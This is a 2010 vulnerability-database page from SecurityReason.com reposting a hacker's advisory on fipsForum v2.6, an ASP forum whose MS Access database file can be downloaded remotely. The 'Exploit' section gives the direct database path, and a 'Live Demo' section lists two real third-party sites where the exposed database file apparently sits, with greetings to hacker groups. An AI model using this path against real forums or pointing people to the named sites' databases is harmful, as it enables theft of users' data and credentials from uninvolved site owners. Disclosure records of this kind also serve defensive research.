SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow World Laboratory of Bugtraq Database

Arrow  Topic :

fipsForum v2.6 Remote Database Disclosure Vulnerability


Arrow  WLB : WLB-2010010124  (About)
Arrow  SecurityAlert : None
Arrow  Date : 2010-01-29
Arrow  Credit          : ViRuSMaN
Arrow  Added by     : SecurityReason
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote : Yes
Arrow  Local     : No
Arrow  Status   : Bug

Arrow  History : [2010-01-29] Started

Arrow  Affected software :  fipsForum v2.6



Arrow  Text :  

[»] ~ Note : [ Tribute to the martyrs of Gaza . ]
=======
[»] fipsForum v2.6 Remote Database Disclosure
Vulnerability
===========================================================================
===

[»] Script: [ fipsForum ]
[»] Language: [ ASP ]
[»] Site page: [ fipsForum is a simple and easy to
use Forum System with a MS Access database. ]
[&#187;] Founder: [ ViRuSMaN <v.-m@live.com -
totti_55_3@yahoo.com> ]
[&#187;] Greetz to: [ HackTeach Team , Egyptian Hackers ,
All My Friends & pentestlabs.com ]
[&#187;] My Home: [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################


===[ Exploit ]===

[&#187;] http://[target].com/[path]/_database/forumFips.mdb


===[ Live Demo ]===

[&#187;]
http://www.sprq.ca/CGI-BIN/fipsforum3652/_database/forumFips.mdb
[&#187;] http://fido.suriweb.net/pag/zoo/_database/forumFips.mdb


Author: ViRuSMaN <-

##############
Hotmail: Powerful Free email with security by Microsoft. Get it now.

If you want change this note, please use UCP



Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

Copyright © SecurityReason.com. All Rights Reserved.